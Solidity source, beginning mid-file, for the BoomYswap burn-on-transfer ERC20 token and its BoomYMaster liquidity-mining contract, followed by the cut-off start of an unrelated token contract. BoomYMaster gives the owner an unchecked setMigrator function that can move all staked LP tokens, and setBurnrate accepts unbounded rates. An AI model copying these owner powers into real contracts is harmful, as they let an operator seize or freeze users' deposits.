_indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _whitelistedAddresses; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 private _burnRate; string private _name; string private _symbol; uint256 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _burnRate = burnrate; _totalSupply = 0; _mint(msg.sender, initSupply*(10**_decimals)); _burnedSupply = 0; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint256) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of burned tokens. */ function burnedSupply() public view returns (uint256) { return _burnedSupply; } /** * @dev Returns the burnrate. */ function burnRate() public view returns (uint256) { return _burnRate; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `account` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_whitelistedAddresses[sender] == true || _whitelistedAddresses[recipient] == true) { _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { uint256 amount_burn = amount.mul(_burnRate).div(100); uint256 amount_send = amount.sub(amount_burn); require(amount == amount_send + amount_burn, "Burn value invalid"); _burn(sender, amount_burn); amount = amount_send; _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. * * HINT: This function is 'internal' and therefore can only be called from another * function inside this contract! */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); _burnedSupply = _burnedSupply.add(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {burnRate} to a value other than the initial one. */ function _setupBurnrate(uint8 burnrate_) internal virtual { _burnRate = burnrate_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership}. * * This module is used through inheritance. It will make available the modifier * `onlyMinter`, which can be applied to your functions to restrict their use to * the minter. */ contract Mintable is Context { /** * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the chef contract) */ address private _minter; event MintershipTransferred(address indexed previousMinter, address indexed newMinter); /** * @dev Initializes the contract setting the deployer as the initial minter. */ constructor () internal { address msgSender = _msgSender(); _minter = msgSender; emit MintershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current minter. */ function minter() public view returns (address) { return _minter; } /** * @dev Throws if called by any account other than the minter. */ modifier onlyMinter() { require(_minter == _msgSender(), "Mintable: caller is not the minter"); _; } /** * @dev Transfers mintership of the contract to a new account (`newMinter`). * Can only be called by the current minter. */ function transferMintership(address newMinter) public virtual onlyMinter { require(newMinter != address(0), "Mintable: new minter is the zero address"); emit MintershipTransferred(_minter, newMinter); _minter = newMinter; } } /* website: boomswap.org ███ ████▄ ████▄ █▀▄▀█ ▀▄ ▄ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▄ █ █ █ █ █ ▄ █ ▀█ █ ▄▀ ▀████ ▀████ █ █ █ ███ █ ▄▀ ▀ */ // BoomYswap contract BoomYswap is ERC20("BoomYswap", "BoomY", 18, 2, 8642), Ownable, Mintable { /// @notice Creates `_amount` token to `_to`. Must only be called by the minter (BoomYMaster). function mint(address _to, uint256 _amount) public onlyMinter { _mint(_to, _amount); } function setBurnrate(uint8 burnrate_) public onlyOwner { _setupBurnrate(burnrate_); } function addWhitelistedAddress(address _address) public onlyOwner { _whitelistedAddresses[_address] = true; } function removeWhitelistedAddress(address _address) public onlyOwner { _whitelistedAddresses[_address] = false; } } /* website: boomswap.org ███ ████▄ ████▄ █▀▄▀█ ▀▄ ▄ █ █ █ █ █ █ █ █ █ █ █ █ ▀ ▄ █ █ █ █ █ ▄ █ ▀█ █ ▄▀ ▀████ ▀████ █ █ █ ███ █ ▄▀ ▀ */ interface IMigrationMaster { // Perform LP token migration for swapping liquidity providers. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // Migrator must have allowance access to old LP tokens. // EXACTLY the same amount of new LP tokens must be minted or // else something bad will happen. This function is meant to be used to swap // to the native liquidity provider in the future! function migrate(IERC20 token) external returns (IERC20); } contract BoomYMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. uint256 pendingRewards; // Pending rewards for user. uint lastHarvest; //Timestamp of last harvest, used for vesting } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BoomYs to distribute per block. uint256 lastRewardBlock; // Last block number that BoomYs distribution occurs. uint256 accBoomYPerShare; // Accumulated BoomYs per share, times 1e12. See below. uint harvestVestingPeriod; // How much vesting for harvesting } // BoomY token BoomYswap public boomY; // BoomY tokens created per block. uint256 public boomYPerBlock; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigrationMaster public migrator; //Has the minting rate halved? bool isMintingHalved; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BoomY mining starts. uint256 public startBlock; // Events event Recovered(address token, uint256 amount); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claim(address indexed user, uint256 indexed pid, uint256 amount); event ClaimAndStake(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( BoomYswap _boomY, uint256 _boomYPerBlock, uint256 _startBlock ) public { boomY = _boomY; boomYPerBlock = _boomYPerBlock; startBlock = _startBlock; isMintingHalved = false; // staking pool poolInfo.push(PoolInfo({ lpToken: _boomY, allocPoint: 1000, lastRewardBlock: startBlock, accBoomYPerShare: 0, harvestVestingPeriod: 0 })); totalAllocPoint = 1000; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint _harvestVestingPeriod ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accBoomYPerShare: 0, harvestVestingPeriod: _harvestVestingPeriod }) ); updateStakingPool(); } // Update the given pool's BoomY allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); uint256 prevAllocPoint = poolInfo[_pid].allocPoint; poolInfo[_pid].allocPoint = _allocPoint; if (prevAllocPoint != _allocPoint) { updateStakingPool(); } } function updateStakingPool() internal { uint256 length = poolInfo.length; uint256 points = 0; for (uint256 pid = 1; pid < length; ++pid) { points = points.add(poolInfo[pid].allocPoint); } if (points != 0) { points = points.div(3); totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points); poolInfo[0].allocPoint = points; } } // Migrate lp token to another lp contract. Can be called by anyone. // We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // View function to see pending BoomYs on frontend. function pendingBoomYs(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBoomYPerShare = pool.accBoomYPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 boomYReward = boomYPerBlock .mul(pool.allocPoint) .div(totalAllocPoint); accBoomYPerShare = accBoomYPerShare.add( boomYReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accBoomYPerShare).div(1e12).sub(user.rewardDebt).add(user.pendingRewards); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 boomYReward = boomYPerBlock .mul(pool.allocPoint) .div(totalAllocPoint); boomY.mint(address(this), boomYReward); pool.accBoomYPerShare = pool.accBoomYPerShare.add( boomYReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; //Should we halve the minting? if(block.number >= startBlock.add(100000) && !isMintingHalved) { boomYPerBlock = boomYPerBlock.div(2); isMintingHalved = true; } } // Deposit LP tokens to BoomYMaster for BoomY allocation. function deposit(uint256 _pid, uint256 _amount, bool _withdrawRewards) public { require (_pid != 0, 'please deposit BoomY by staking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accBoomYPerShare) .div(1e12) .sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from BoomYMaster. function withdraw(uint256 _pid, uint256 _amount, bool _withdrawRewards) public { require (_pid != 0, 'please withdraw BOOMY by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); user.lastHarvest = block.timestamp; emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { require (_pid != 0, 'please withdraw BOOMY by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; user.pendingRewards = 0; user.lastHarvest = block.timestamp; } // Claim rewards from BoomYMaster. function claim(uint256 _pid) public { require (_pid != 0, 'please claim staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; user.lastHarvest = block.timestamp; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Claim rewards from BoomYMaster and deposit them directly to staking pool. function claimAndStake(uint256 _pid) public { require (_pid != 0, 'please claim and stake staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); transferToStake(user.pendingRewards); emit ClaimAndStake(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Transfer rewards from LP pools to staking pool. function transferToStake(uint256 _amount) internal { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } if (_amount > 0) { user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, _amount); } // Stake BoomY tokens to BoomYMaster. function enterStaking(uint256 _amount, bool _withdrawRewards) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); user.pendingRewards = 0; } } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, _amount); } // Withdraw BoomY tokens from staking. function leaveStaking(uint256 _amount, bool _withdrawRewards) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; require(user.amount >= _amount, "unstake: not good"); updatePool(0); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); user.pendingRewards = 0; } } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Withdraw(msg.sender, 0, _amount); } // Claim staking rewards from BoomYMaster. function claimStaking() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 || user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, 0, user.pendingRewards); user.pendingRewards = 0; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Transfer staking rewards to staking pool. function stakeRewardsStaking() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; uint256 rewardsToStake; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } if (user.pendingRewards > 0) { rewardsToStake = user.pendingRewards; user.pendingRewards = 0; user.amount = user.amount.add(rewardsToStake); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, rewardsToStake); } // Safe BoomY transfer function, just in case if rounding error causes pool to not have enough BoomYs. function safeBoomYTransfer(address _to, uint256 _amount) internal { uint256 boomYBal = boomY.balanceOf(address(this)); if (_amount > boomYBal) { boomY.transfer(_to, boomYBal); } else { boomY.transfer(_to, _amount); } } // **** Additional functions to edit master attributes **** function setBoomYPerBlock(uint256 _boomYPerBlock) public onlyOwner { require(_boomYPerBlock > 0, "!boomYPerBlock-0"); boomYPerBlock = _boomYPerBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigrationMaster _migrator) public onlyOwner { migrator = _migrator; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-25 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /// @title ERC20 Contract contract Token { // My Variables string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; // Keep track balances and allowances approved mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // Events - fire events on state changes etc event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint _decimals, uint _totalSupply) { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balanceOf[msg.sender] = totalSupply; } /// @notice transfer amount of tokens to an address /// @param _to receiver of token /// @param _value amount value of token to send /// @return success as true, for transfer function transfer(address _to, uint256 _value) external returns (bool success) { require(balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } /// @dev internal helper transfer function with required safety checks /// @param _from, where funds coming the sender /// @param _to receiver of token /// @param _value amount value of token to send // Internal function transfer can only be called by this contract // Emit Transfer Event event function _transfer(address _from, address _to, uint256 _value) internal { // Ensure sending is to valid address! 0x0 address cane be used to burn() require(_to != address(0)); balanceOf[_from] = balanceOf[_from] - (_value); balanceOf[_to] = balanceOf[_to] + (_value); emit Transfer(_from, _to, _value); } /// @notice Approve other to spend on your behalf eg an exchange /// @param _spender allowed to spend and a max amount allowed to spend /// @param _value amount value of token to send /// @return true, success once address approved // Emit the Approval event // Allow _spender to spend up to _value on your behalf function approve(address _spender, uint256 _value) external returns (bool) { require(_spender != address(0)); allowance[msg.sender][_spender] = 